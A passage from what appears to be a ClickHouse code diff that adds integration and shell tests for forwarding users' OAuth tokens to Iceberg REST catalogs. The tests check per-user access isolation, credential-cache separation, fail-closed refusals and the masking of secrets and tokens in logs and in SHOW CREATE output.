query_as(node, token, sql, query_id) + assert response.status_code == 200, response.text + return response.text + + +def profile_event(node, query_id, event): + node.query("SYSTEM FLUSH LOGS") + value = node.query( + f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " + f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + return int(value) if value else 0 + + +# --- fixture --------------------------------------------------------------------------------- + +@pytest.fixture(scope="module") +def started_cluster(): + cluster = ClickHouseCluster(__file__) + try: + for name in ("node1", "node2"): + cluster.add_instance( + name, + main_configs=["configs/token_forwarding.xml", "configs/cluster.xml"], + user_configs=["configs/users.xml"], + stay_alive=True, + with_iceberg_catalog=True, + extra_parameters={ + "docker_compose_file_name": "docker_compose_iceberg_lakekeeper_oidc_catalog.yml" + }, + ) + logging.info("Starting cluster...") + cluster.start() + + node = cluster.instances["node1"] + wait_for_lakekeeper(cluster) + + admin_token = get_token(node, "lkadmin") + management( + cluster, + "POST", + "/bootstrap", + admin_token, + {"accept-terms-of-use": True, "is-operator": True}, + expected=(200, 204, 400, 409), + ) + + alice_token = get_token(node, "alice") + bob_token = get_token(node, "bob") + alice_id = provision_user(cluster, admin_token, alice_token, "alice") + bob_id = provision_user(cluster, admin_token, bob_token, "bob") + + warehouse_ids = {name: create_warehouse(cluster, admin_token, name) for name in WAREHOUSES} + + full = ["describe", "select", "create", "modify"] + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_alice"], alice_id, full) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_bob"], bob_id, full) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], alice_id, ["describe", "select"]) + grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], bob_id, ["describe", "select"]) + + seed_table(cluster, "wh_alice", admin_token, "ns", "t_alice") + seed_table(cluster, "wh_bob", admin_token, "ns", "t_bob") + seed_table(cluster, "wh_shared", admin_token, "ns", "t_shared") + + cluster.lakekeeper_warehouse_ids = warehouse_ids + yield cluster + finally: + cluster.shutdown() + + +def wait_for_lakekeeper(cluster, timeout=180): + """ + Lakekeeper is started before Keycloak by the cluster helper, so it may restart a few times + while the IdP comes up. + """ + deadline = time.time() + timeout + last = None + while time.time() < deadline: + try: + response = requests.get(f"{lakekeeper_host_url(cluster)}/health", timeout=5) + if response.status_code == 200: + return + last = response.text + except requests.exceptions.RequestException as ex: + last = str(ex) + time.sleep(2) + raise AssertionError(f"Lakekeeper did not become healthy: {last}") + + +# --- tests ----------------------------------------------------------------------------------- + +def test_users_see_different_tables(started_cluster): + """The catalog authorizes the human, so two ClickHouse users see two different table sets.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + create_database(node, "db_bob", "wh_bob") + + alice = get_token(node, "alice") + bob = get_token(node, "bob") + + listing_sql = ( + "SELECT name FROM system.tables WHERE database = '{db}' ORDER BY name " + "SETTINGS show_data_lake_catalogs_in_system_tables = true" + ) + assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" + assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" + + # And neither can list the other's warehouse. + assert query_as(node, alice, listing_sql.format(db="db_bob")).status_code != 200 + assert query_as(node, bob, listing_sql.format(db="db_alice")).status_code != 200 + + +def test_alice_cannot_read_bobs_table(started_cluster): + node = started_cluster.instances["node1"] + create_database(node, "db_bob", "wh_bob") + + assert int(query_as_ok(node, get_token(node, "bob"), "SELECT count() FROM db_bob.`ns.t_bob`")) == 3 + + denied = query_as(node, get_token(node, "alice"), "SELECT count() FROM db_bob.`ns.t_bob`") + assert denied.status_code != 200 + assert "t_bob" not in denied.text or "403" in denied.text or "Forbidden" in denied.text + + +def test_warm_credentials_cache_does_not_serve_another_user(started_cluster): + """ + The highest-value test of the feature. `credentials_cache` used to be keyed on + `(namespace, table)` and is consulted before any HTTP call, so a warm entry would hand Bob the + STS credentials Lakekeeper vended for Alice with the catalog never consulted. + """ + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice", {"vended_credentials_cache_ttl": 300}) + + alice = get_token(node, "alice") + assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + # Warm. + assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + denied = query_as(node, get_token(node, "bob"), "SELECT count() FROM db_alice.`ns.t_alice`") + assert denied.status_code != 200, denied.text + + +def test_each_user_gets_its_own_vended_credentials(started_cluster): + """ + Both users may read the same table, but each must be vended its own credentials: the second + user's request has to reach the catalog rather than reuse the first user's cache entry. + """ + node = started_cluster.instances["node1"] + create_database(node, "db_shared", "wh_shared", {"vended_credentials_cache_ttl": 300}) + + sql = "SELECT count() FROM db_shared.`ns.t_shared`" + + alice_qid = f"alice-{uuid.uuid4()}" + query_as_ok(node, get_token(node, "alice"), sql, alice_qid) + query_as_ok(node, get_token(node, "alice"), sql) # warm alice's entry + + bob_qid = f"bob-{uuid.uuid4()}" + query_as_ok(node, get_token(node, "bob"), sql, bob_qid) + + assert profile_event(node, bob_qid, "DataLakeRestCatalogCredentialsCacheMisses") >= 1 + assert profile_event(node, bob_qid, "DataLakeRestCatalogCredentialsCacheHits") == 0 + + +def test_no_service_principal_fallback(started_cluster): + """`DataLakeRestCatalogClientCredentialsGrants` is the fail-open detector; it must stay at 0.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice", {"catalog_credential": "service:principal"}) + + query_id = f"nofallback-{uuid.uuid4()}" + query_as_ok(node, get_token(node, "alice"), "SELECT count() FROM db_alice.`ns.t_alice`", query_id) + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 + + +def test_password_user_is_denied(started_cluster): + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice", {"catalog_credential": "service:principal"}) + + over_http = node.http_request( + "", + method="POST", + data="SELECT count() FROM db_alice.`ns.t_alice`", + params={"user": "passworduser", "password": "passworduser_password"}, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in over_http.text, over_http.text + + over_native = node.query_and_get_error( + "SELECT count() FROM db_alice.`ns.t_alice`", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in over_native, over_native + + +def test_expired_token_gives_a_clean_error(started_cluster): + """An expired token is rejected at authentication; nothing reaches the catalog.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + # A structurally valid token whose signature will not verify against the realm's keys. + bogus = get_token(node, "alice")[:-4] + "AAAA" + response = query_as(node, bogus, "SELECT count() FROM db_alice.`ns.t_alice`") + assert response.status_code != 200 + assert "AUTHENTICATION_FAILED" in response.text or "Authentication failed" in response.text + + +def test_token_rotation_over_http(started_cluster): + """HTTP re-authenticates per request, so a freshly issued token takes effect immediately.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + first = get_token(node, "alice") + assert int(query_as_ok(node, first, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + # A second, distinct token for the same principal must work just as well. + time.sleep(1) + second = get_token(node, "alice") + assert int(query_as_ok(node, second, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 + + +def test_no_token_in_system_logs(started_cluster): + """The forwarded token must not surface in any log table.""" + node = started_cluster.instances["node1"] + create_database(node, "db_alice", "wh_alice") + + token = get_token(node, "alice") + query_as_ok(node, token, "SELECT count() FROM db_alice.`ns.t_alice`") + # Also exercise a failing path, which is where an error message could echo the token. + query_as(node, token, "SELECT count() FROM db_alice.`ns.does_not_exist`") + + node.query("SYSTEM FLUSH LOGS") + # The signature segment is the part that is unique to this token and long enough not to + # collide with anything else. + needle = token.split(".")[2][:32] + for table, columns in ( + ("system.query_log", ["query", "exception", "stack_trace"]), + ("system.text_log", ["message"]), + ("system.session_log", ["auth_id"]), + ): + condition = " OR ".join(f"{column} LIKE '%{needle}%'" for column in columns) + found = node.query(f"SELECT count() FROM {table} WHERE {condition}").strip() + assert found == "0", f"token leaked into {table}" + + running = node.query(f"SELECT count() FROM system.processes WHERE query LIKE '%{needle}%'").strip() + assert running == "0" + + +def test_swarm_read_does_not_reach_the_catalog_from_workers(started_cluster): + """ + The initiator resolves everything; workers run a plain table function with the credentials the + catalog vended, so a secondary node makes no catalog request of its own. + """ + started = started_cluster + node1 = started.instances["node1"] + node2 = started.instances["node2"] + create_database(node1, "db_shared", "wh_shared", {"object_storage_cluster": "cluster_simple"}) + + def catalog_requests(node): + node.query("SYSTEM FLUSH LOGS") + value = node.query( + "SELECT value FROM system.events WHERE event = 'DataLakeRestCatalogGetTableMetadata'" + ).strip() + return int(value) if value else 0 + + before = catalog_requests(node2) + assert int(query_as_ok(node1, get_token(node1, "alice"), "SELECT count() FROM db_shared.`ns.t_shared`")) == 3 + assert catalog_requests(node2) == before + + +def test_exchange_at_the_idp(started_cluster): + """ + The RFC 8693 variant: the token ClickHouse receives has no `lakekeeper` audience, so the + exchange at Keycloak is what produces a token Lakekeeper accepts. + """ + node = started_cluster.instances["node1"] + create_database( + node, + "db_exchange", + "wh_alice", + { + "catalog_credential": f"{EXCHANGE_CLIENT_ID}:{EXCHANGE_CLIENT_SECRET}", + "auth_scope": "lakekeeper", + "oauth_token_exchange_uri": TOKEN_ENDPOINT, + }, + ) + + token = get_token( + node, "alice", client_id=EXCHANGE_CLIENT_ID, client_secret=EXCHANGE_CLIENT_SECRET + ) + # Precondition: this token on its own is not accepted by Lakekeeper. + assert "lakekeeper" not in (jwt_claim(token, "aud") or []) + + query_id = f"exchange-{uuid.uuid4()}" + assert int(query_as_ok(node, token, "SELECT count() FROM db_exchange.`ns.t_alice`", query_id)) == 3 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 diff --git a/tests/integration/test_datalake_token_forwarding/__init__.py b/tests/integration/test_datalake_token_forwarding/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml new file mode 100644 index 000000000000..60f5b0658026 --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml @@ -0,0 +1,28 @@ + + + 1 + + + + + jwt_static_key + HS256 + datalake_token_forwarding_secret + false + true + + + + + + hs256 + default + + + diff --git a/tests/integration/test_datalake_token_forwarding/configs/users.xml b/tests/integration/test_datalake_token_forwarding/configs/users.xml new file mode 100644 index 000000000000..48d16fc29d25 --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/configs/users.xml @@ -0,0 +1,17 @@ + + + + + + + 1 + 1 + + + + passworduser_password + default + ::/0 + + + diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py new file mode 100644 index 000000000000..379b0cc5850c --- /dev/null +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -0,0 +1,359 @@ +""" +Request-shape tests for forwarding the querying user's OAuth token to an Iceberg REST catalog. + +Layer 2 of the verification plan: an `apache/iceberg-rest-fixture`-style catalog (the only image +that actually routes the `/v1/oauth/tokens` grant) plus HS256 tokens minted inline, so both +passthrough and RFC 8693 token exchange can be observed on the wire. + +Deliberately a separate suite from `test_database_iceberg`: that one creates its database with +three engine arguments, and vended credentials are only applied when the engine has exactly one, +so per-user credential assertions there would be vacuous. + +Run: + python -m ci.praktika run "integration" --test test_datalake_token_forwarding +""" + +import logging +import uuid + +import jwt +import pytest +import requests + +from helpers.cluster import ClickHouseCluster +from helpers.config_cluster import minio_secret_key + +SECRET = "datalake_token_forwarding_secret" +BASE_URL = "http://rest:8181/v1" +CATALOG_NAME = "demo" + + +def make_token(user): + return jwt.encode({"sub": user}, SECRET, algorithm="HS256") + + +@pytest.fixture(scope="module") +def started_cluster(): + cluster = ClickHouseCluster(__file__) + try: + cluster.add_instance( + "node1", + main_configs=["configs/token_forwarding.xml"], + user_configs=["configs/users.xml"], + stay_alive=True, + with_iceberg_catalog=True, + extra_parameters={ + "docker_compose_file_name": "docker_compose_iceberg_rest_catalog.yml" + }, + ) + logging.info("Starting cluster...") + cluster.start() + yield cluster + finally: + cluster.shutdown() + + +def catalog_local_url(started_cluster): + return f"http://localhost:{started_cluster.iceberg_rest_catalog_port}/v1" + + +def create_namespace(started_cluster, namespace): + response = requests.post( + f"{catalog_local_url(started_cluster)}/namespaces", + json={"namespace": [namespace], "properties": {}}, + timeout=30, + ) + assert response.status_code in (200, 409), response.text + + +def query_with_token(node, token, sql, **kwargs): + response = node.http_request( + "", + method="POST", + data=sql, + headers={"Authorization": f"Bearer {token}"}, + **kwargs, + ) + response.raise_for_status() + return response.text + + +def create_database(node, name, settings): + node.query(f"DROP DATABASE IF EXISTS {name}") + node.query( + f"SET allow_experimental_database_iceberg=true;" + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{BASE_URL}') " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" + ) + + +def profile_event(node, query_id, event): + node.query("SYSTEM FLUSH LOGS") + return int( + node.query( + f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " + f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + or 0 + ) + + +def test_passthrough_reaches_catalog(started_cluster): + """A token-authenticated user can list the catalog; the token itself is what the catalog sees.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + result = query_with_token( + node, + make_token("alice"), + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + ) + # The catalog answered rather than rejecting the request: the listing completed. + assert result.strip().isdigit() + + +def test_no_service_principal_fallback(started_cluster): + """ + With forwarding on, no request may be signed as the service principal. The + `DataLakeRestCatalogClientCredentialsGrants` event is the fail-open detector: it must stay 0. + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + query_id = f"fwd-{uuid.uuid4()}" + query_with_token( + node, + make_token("alice"), + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + params={"query_id": query_id}, + ) + + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 + + +def test_password_user_is_denied_over_http(started_cluster): + """A password-authenticated user has no token, so the catalog must refuse the request.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + response = node.http_request( + "", + method="POST", + data=f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + params={"user": "passworduser", "password": "passworduser_password"}, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in response.text, response.text + + +def test_password_user_is_denied_over_native(started_cluster): + """Same over the native protocol, which authenticates once at handshake time.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + output = node.query_and_get_error( + f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +def test_native_protocol_forwards_jwt(started_cluster): + """`clickhouse-client --jwt` forwards the same way the HTTP interface does.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + token = make_token("alice") + result = node.exec_in_container( + [ + "bash", + "-c", + f"clickhouse client --jwt '{token}' --query " + f"\"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true\"", + ] + ) + assert result.strip().isdigit(), result + + +def test_exchange_at_catalog_token_endpoint(started_cluster): + """ + `oauth_token_exchange_uri` pointed at the catalog's own (deprecated) `/v1/oauth/tokens`. + The Apache fixture is the only image that routes the grant, so this is where the RFC 8693 wire + format is confirmed against a real implementation. + + Note: the fixture echoes the subject token back as the session token by design, so this suite + must not assert "the raw token appears nowhere". + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "auth_scope": "catalog", + "oauth_forward_user_token": 1, + "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", + }, + ) + + query_id = f"exchange-{uuid.uuid4()}" + query_with_token( + node, + make_token("alice"), + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + params={"query_id": query_id}, + ) + + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 + # Even with an exchange configured, no `client_credentials` grant is issued behind the user. + assert profile_event(node, query_id, "DataLakeRestCatalogClientCredentialsGrants") == 0 + + +def test_exchanged_session_token_is_cached_per_user(started_cluster): + """A second query by the same user reuses the exchanged session token.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "auth_scope": "catalog", + "oauth_forward_user_token": 1, + "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", + "oauth_user_token_cache_ttl": 300, + }, + ) + + token = make_token("alice") + sql = ( + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true" + ) + + first = f"cache-1-{uuid.uuid4()}" + query_with_token(node, token, sql, params={"query_id": first}) + assert profile_event(node, first, "DataLakeRestCatalogTokenExchange") >= 1 + + second = f"cache-2-{uuid.uuid4()}" + query_with_token(node, token, sql, params={"query_id": second}) + assert profile_event(node, second, "DataLakeRestCatalogTokenExchange") == 0 + assert profile_event(node, second, "DataLakeRestCatalogUserTokenCacheHits") >= 1 + + +def test_no_forwarding_without_the_server_setting(started_cluster): + """ + The database setting alone is not enough: without `enable_token_forwarding` the token is + destroyed at authentication and the request has to fail closed rather than silently run as the + service principal. Verified by turning the server setting off and restarting. + """ + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + node.replace_in_config( + "/etc/clickhouse-server/config.d/token_forwarding.xml", + "1", + "0", + ) + node.query("SYSTEM RELOAD CONFIG") + try: + response = node.http_request( + "", + method="POST", + data=f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + headers={"Authorization": f"Bearer {make_token('alice')}"}, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in response.text, response.text + finally: + node.replace_in_config( + "/etc/clickhouse-server/config.d/token_forwarding.xml", + "0", + "1", + ) + node.query("SYSTEM RELOAD CONFIG") diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference new file mode 100644 index 000000000000..83370e472a0f --- /dev/null +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference @@ -0,0 +1,19 @@ +-- secrets stay hidden +0 +0 +catalog_credential = '[HIDDEN]' +-- forwarding settings stay visible +oauth_forward_user_token = 1 +oauth_forward_actor_token = 1 +oauth_user_token_cache_ttl = 120 +openid-connect/token +-- the same after a detach/attach round trip +oauth_forward_user_token = 1 +0 +-- rejected combinations +cannot be combined with `auth_header` +only supported for `catalog_type = 'rest'` +requires a non-empty `catalog_credential` +has no effect without `oauth_forward_user_token = 1` +has no effect without `oauth_token_exchange_uri` +must be one of the token type URNs defined by RFC 8693 diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh new file mode 100755 index 000000000000..f041e7e583dc --- /dev/null +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh @@ -0,0 +1,86 @@ +#!/usr/bin/env bash +# Tags: no-fasttest + +# The `oauth_forward_user_token` settings family carries no secret, so it must stay *visible* in +# `SHOW CREATE DATABASE` and `system.databases.engine_full` -- an auditor has to be able to see +# which databases forward the identity of the users querying them. The pre-existing credential +# settings next to it must still be masked. +# +# No catalog is contacted: the database is created with forwarding on, which defers `/v1/config` +# to the first user query. + +CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +# shellcheck source=../shell_config.sh +. "$CUR_DIR"/../shell_config.sh + +DB="db_token_fwd_masking_${CLICKHOUSE_DATABASE}" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'super_client:super_secret', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/realms/demo/protocol/openid-connect/token', + oauth_forward_actor_token = 1, + oauth_user_token_cache_ttl = 120 +" + +echo '-- secrets stay hidden' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' +${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -c 'super_client' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o "catalog_credential = '\[HIDDEN\]'" + +echo '-- forwarding settings stay visible' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_actor_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_user_token_cache_ttl = 120' +${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -o 'openid-connect/token' + +echo '-- the same after a detach/attach round trip' +${CLICKHOUSE_CLIENT} --query "DETACH DATABASE ${DB}" +${CLICKHOUSE_CLIENT} --query "ATTACH DATABASE ${DB}" +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' + +echo '-- rejected combinations' +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + auth_header = 'Authorization: Bearer static' +" 2>&1 | grep -o 'cannot be combined with .auth_header.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --allow_experimental_database_unity_catalog=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'unity', warehouse = 'demo', oauth_forward_user_token = 1 +" 2>&1 | grep -o "only supported for .catalog_type = 'rest'." + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/token' +" 2>&1 | grep -o 'requires a non-empty .catalog_credential.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_subject_token_type = 'urn:ietf:params:oauth:token-type:access_token' +" 2>&1 | grep -o 'has no effect without .oauth_forward_user_token = 1.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + oauth_forward_actor_token = 1 +" 2>&1 | grep -o 'has no effect without .oauth_token_exchange_uri.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', catalog_credential = 'a:b', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/token', + oauth_subject_token_type = 'not-a-urn' +" 2>&1 | grep -o 'must be one of the token type URNs defined by RFC 8693' + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference new file mode 100644 index 000000000000..5cfd4e92276f --- /dev/null +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference @@ -0,0 +1,14 @@ +-- SELECT +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- DESCRIBE +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- EXISTS +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- CHECK DATABASE +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- SHOW TABLES discloses nothing +0 +-- error message names the remedies +enable_token_forwarding +-- nothing token-shaped in query_log +0 diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh new file mode 100755 index 000000000000..d1a2d125c3ee --- /dev/null +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +# Tags: no-fasttest + +# With `oauth_forward_user_token = 1` a session that authenticated without a bearer token has no +# identity to forward. Every path into the catalog must then refuse -- with +# CATALOG_USER_TOKEN_NOT_AVAILABLE, not `UNKNOWN_TABLE`, and never by quietly falling back to the +# shared service principal. +# +# The catalog endpoint is never reached, so no catalog service is needed: the refusal happens +# before the first request is built. + +CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal + +CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +# shellcheck source=../shell_config.sh +. "$CUR_DIR"/../shell_config.sh + +DB="db_token_fwd_closed_${CLICKHOUSE_DATABASE}" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" + +# A service principal *is* configured, so a fallback would succeed if one existed. +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'service:principal', + oauth_forward_user_token = 1 +" + +echo '-- SELECT' +${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- DESCRIBE' +${CLICKHOUSE_CLIENT} --query "DESCRIBE TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- EXISTS' +${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- CHECK DATABASE' +${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' + +# `system.tables` (and therefore SHOW TABLES) deliberately swallows catalog errors so that a +# single unreachable database cannot break the whole system table. Fail-closed there means an +# empty list -- no table names are disclosed -- rather than an exception. +echo '-- SHOW TABLES discloses nothing' +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" | wc -l + +echo '-- error message names the remedies' +${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'enable_token_forwarding' + +# The token never reaches the query log. There is no token in this session at all, so this is a +# guard against the error path echoing whatever it did have. +${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS" +echo '-- nothing token-shaped in query_log' 